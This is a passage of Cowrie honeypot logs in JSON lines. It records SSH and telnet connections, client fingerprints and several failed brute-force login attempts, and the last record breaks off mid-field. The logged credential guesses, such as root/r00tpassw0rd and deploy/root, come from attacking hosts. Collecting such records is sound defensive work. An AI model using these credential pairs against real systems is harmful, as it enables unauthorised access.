{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:41.075073Z","src_ip":"190.85.41.170","session":"5ab9a37656a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50812,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d992635dac9","protocol":"telnet","message":"New connection: 152.42.224.71:50812 (10.17.0.5:23) [session: 9d992635dac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:41.801423Z"}
{"eventid":"cowrie.session.closed","duration":22.440810680389404,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:42.120875Z","src_ip":"152.42.224.71","session":"940ab048b3b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"24.9","message":"Connection lost after 24.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:42.287024Z","src_ip":"47.237.167.49","session":"88333c9a91b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.9138696193695,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:42.608082Z","src_ip":"152.42.224.71","session":"6a6a33410c21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50822,"dst_ip":"10.17.0.5","dst_port":23,"session":"00f5ce1438dd","protocol":"telnet","message":"New connection: 152.42.224.71:50822 (10.17.0.5:23) [session: 00f5ce1438dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:43.305403Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":54540,"dst_ip":"159.203.135.109","dst_port":22,"session":"190434561a37","protocol":"ssh","message":"New connection: 185.236.22.41:54540 (159.203.135.109:22) [session: 190434561a37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:45.155458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:45.166899Z","src_ip":"185.236.22.41","session":"190434561a37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:45.278777Z","src_ip":"185.236.22.41","session":"190434561a37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:45.745269Z","src_ip":"185.236.22.41","session":"190434561a37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.39125776290894,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:46.711065Z","src_ip":"152.42.224.71","session":"5f2d23d8d9eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:46.866858Z","src_ip":"185.236.22.41","session":"190434561a37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56098,"dst_ip":"159.203.135.109","dst_port":22,"session":"39e3a4f45bc6","protocol":"ssh","message":"New connection: 31.40.204.166:56098 (159.203.135.109:22) [session: 39e3a4f45bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:48.480772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:48.485573Z","src_ip":"31.40.204.166","session":"39e3a4f45bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:48.616127Z","src_ip":"31.40.204.166","session":"39e3a4f45bc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:49.115474Z","src_ip":"31.40.204.166","session":"39e3a4f45bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:50.602329Z","src_ip":"31.40.204.166","session":"39e3a4f45bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42740,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebbdb41acb0f","protocol":"telnet","message":"New connection: 152.42.224.71:42740 (10.17.0.5:23) [session: ebbdb41acb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:55.418910Z"}
{"eventid":"cowrie.session.closed","duration":27.04771590232849,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:45:57.584108Z","src_ip":"152.42.224.71","session":"2716f27c9bd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44740,"dst_ip":"159.203.135.109","dst_port":22,"session":"98ed47b27640","protocol":"ssh","message":"New connection: 31.40.204.166:44740 (159.203.135.109:22) [session: 98ed47b27640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:00.784359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:00.789383Z","src_ip":"31.40.204.166","session":"98ed47b27640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:00.917194Z","src_ip":"31.40.204.166","session":"98ed47b27640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:01.606926Z","src_ip":"31.40.204.166","session":"98ed47b27640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:02.817941Z","src_ip":"31.40.204.166","session":"98ed47b27640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51642,"dst_ip":"10.17.0.5","dst_port":23,"session":"25ceced76ea1","protocol":"telnet","message":"New connection: 152.42.224.71:51642 (10.17.0.5:23) [session: 25ceced76ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:03.413274Z"}
{"eventid":"cowrie.session.closed","duration":30.04131555557251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:04.226465Z","src_ip":"152.42.224.71","session":"514e0f3da4fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":111.72450137138367,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:07.602044Z","src_ip":"152.42.224.71","session":"4c4b405807cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35368,"dst_ip":"10.17.0.5","dst_port":23,"session":"16493a16d3ce","protocol":"telnet","message":"New connection: 152.42.224.71:35368 (10.17.0.5:23) [session: 16493a16d3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:08.464647Z"}
{"eventid":"cowrie.session.closed","duration":46.73747396469116,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:09.402950Z","src_ip":"152.42.224.71","session":"75fdadd06b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50798,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8951d355854","protocol":"ssh","message":"New connection: 31.40.204.166:50798 (159.203.135.109:22) [session: b8951d355854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:12.510982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:12.817156Z","src_ip":"31.40.204.166","session":"b8951d355854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:12.821086Z","src_ip":"31.40.204.166","session":"b8951d355854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:13.423051Z","src_ip":"31.40.204.166","session":"b8951d355854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":59520,"dst_ip":"10.17.0.5","dst_port":22,"session":"700fc98c3183","protocol":"ssh","message":"New connection: 103.91.246.101:59520 (10.17.0.5:22) [session: 700fc98c3183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:13.808997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:13.814276Z","src_ip":"103.91.246.101","session":"700fc98c3183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:14.034673Z","src_ip":"103.91.246.101","session":"700fc98c3183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:14.615486Z","src_ip":"31.40.204.166","session":"b8951d355854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tpassw0rd","message":"login attempt [root/r00tpassw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:14.947237Z","src_ip":"103.91.246.101","session":"700fc98c3183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00193214416504,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:15.252988Z","src_ip":"152.42.224.71","session":"43b493b105f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.10138201713562,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:15.734829Z","src_ip":"152.42.224.71","session":"94351099dae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:16.172101Z","src_ip":"103.91.246.101","session":"700fc98c3183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.32563638687134,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:16.834602Z","src_ip":"152.42.224.71","session":"21731ae44329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41752,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fac88198b80","protocol":"telnet","message":"New connection: 152.42.224.71:41752 (10.17.0.5:23) [session: 0fac88198b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:17.868783Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41768,"dst_ip":"10.17.0.5","dst_port":23,"session":"0334c17e0689","protocol":"telnet","message":"New connection: 152.42.224.71:41768 (10.17.0.5:23) [session: 0334c17e0689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:21.441175Z"}
{"eventid":"cowrie.session.closed","duration":52.47161936759949,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:23.364619Z","src_ip":"152.42.224.71","session":"17170beaed63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56730,"dst_ip":"159.203.135.109","dst_port":22,"session":"8df3132ea14c","protocol":"ssh","message":"New connection: 31.40.204.166:56730 (159.203.135.109:22) [session: 8df3132ea14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:25.103926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:25.113861Z","src_ip":"31.40.204.166","session":"8df3132ea14c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:25.287506Z","src_ip":"31.40.204.166","session":"8df3132ea14c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"12345","message":"login attempt [main/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:25.981928Z","src_ip":"31.40.204.166","session":"8df3132ea14c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:27.309632Z","src_ip":"31.40.204.166","session":"8df3132ea14c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.159.59","src_port":52070,"dst_ip":"10.17.0.5","dst_port":22,"session":"4597a3a480bf","protocol":"ssh","message":"New connection: 170.106.159.59:52070 (10.17.0.5:22) [session: 4597a3a480bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:28.389618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:28.395131Z","src_ip":"170.106.159.59","session":"4597a3a480bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-